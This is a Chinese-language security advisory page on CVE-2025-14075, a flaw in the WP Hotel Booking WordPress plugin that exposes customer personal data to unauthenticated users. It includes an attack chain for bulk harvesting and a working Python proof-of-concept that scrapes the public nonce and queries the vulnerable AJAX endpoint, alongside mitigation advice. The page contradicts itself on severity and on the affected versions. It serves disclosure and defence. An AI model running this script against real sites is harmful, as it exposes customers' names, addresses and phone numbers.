IPBUF安全漏洞报告
English
CVE-2025-14075 CVSS 5.3 中危

CVE-2025-14075 WordPress WP Hotel Booking插件敏感信息泄露漏洞

披露日期: 2026-01-17

漏洞信息

漏洞编号
CVE-2025-14075
漏洞类型
敏感信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WP Hotel Booking (WordPress插件)

相关标签

敏感信息泄露WordPress插件漏洞WP Hotel BookingAJAX安全未授权访问个人信息泄露CVE-2025-14075中危漏洞WordPress安全

漏洞概述

CVE-2025-14075是WordPress插件WP Hotel Booking中的一个高危敏感信息泄露漏洞。该插件在所有版本(直到2.2.7)中存在安全缺陷,原因是插件将名为'hotel_booking_fetch_customer_info'的AJAX操作暴露给未认证用户访问。虽然该操作依赖nonce进行保护,但nonce值是公开可获取的,这使得攻击者可以在无需任何认证的情况下,通过提供有效的邮箱地址和公开的nonce来检索客户的敏感个人信息。攻击成功后,攻击者可以获取包括全名、家庭住址、电话号码和电子邮箱地址在内的敏感信息。此漏洞的CVSS评分为5.3,属于中等严重程度,但由于涉及大量个人隐私数据,其实际危害不容忽视。建议受影响的用户立即升级到最新版本或采取临时缓解措施。

技术细节

该漏洞源于WP Hotel Booking插件的class-wphb-ajax.php文件中的'hotel_booking_fetch_customer_info' AJAX操作实现存在设计缺陷。问题核心在于:1) 该AJAX端点通过wp_ajax_nopriv_钩子注册,允许未认证用户访问;2) 仅依赖WordPress nonce机制进行保护,但nonce值可通过页面源码或API响应被公开获取;3) 缺少适当的能力检查(capability checks)和用户身份验证。攻击者只需构造一个包含有效邮箱地址和公开nonce的AJAX请求,即可触发该功能并获取对应客户的个人信息。漏洞代码位于插件目录的includes/class-wphb-ajax.php第192行和第36行附近。该漏洞允许批量查询,只要攻击者拥有目标邮箱列表,即可大规模收集用户数据。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者访问目标WordPress网站首页或相关页面,从页面源码中提取公开的nonce值
STEP 2
步骤2
信息收集:攻击者获取目标用户的邮箱地址列表(可通过社工、数据泄露库或其他渠道获得)
STEP 3
步骤3
漏洞利用:构造包含'hotel_booking_fetch_customer_info'操作名、有效nonce和目标邮箱的AJAX POST请求
STEP 4
步骤4
数据窃取:服务器响应包含客户敏感信息(全名、地址、电话、邮箱),攻击者记录并存储这些数据
STEP 5
步骤5
批量攻击:使用脚本自动化上述过程,遍历邮箱列表实现大规模用户数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re target_url = "http://target-wordpress-site.com/wp-admin/admin-ajax.php" # Step 1: Fetch the public nonce from the page homepage = requests.get("http://target-wordpress-site.com/") nonce_match = re.search(r'nonce":"([a-zA-Z0-9]+)"', homepage.text) if not nonce_match: # Try alternative nonce patterns nonce_match = re.search(r'var\s+\w+\s*=\s*{"nonce":"([a-zA-Z0-9]+)"', homepage.text) if nonce_match: nonce = nonce_match.group(1) print(f"[+] Found nonce: {nonce}") # Step 2: Exploit the vulnerable AJAX endpoint target_email = "[email protected]" exploit_data = { "action": "hotel_booking_fetch_customer_info", "nonce": nonce, "email": target_email } response = requests.post(target_url, data=exploit_data) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Content: {response.text}") else: print("[-] Failed to find nonce")

影响范围

WP Hotel Booking < 2.2.7

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 使用WordPress防火墙插件(如Wordfence)添加规则阻止该AJAX端点被未认证用户访问;2) 临时禁用酒店预订功能直到完成升级;3) 监控服务器日志关注异常的AJAX请求模式;4) 限制对wp-admin目录的访问,仅允许已登录用户访问;5) 联系网站开发者检查并修复class-wphb-ajax.php中的权限验证逻辑。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表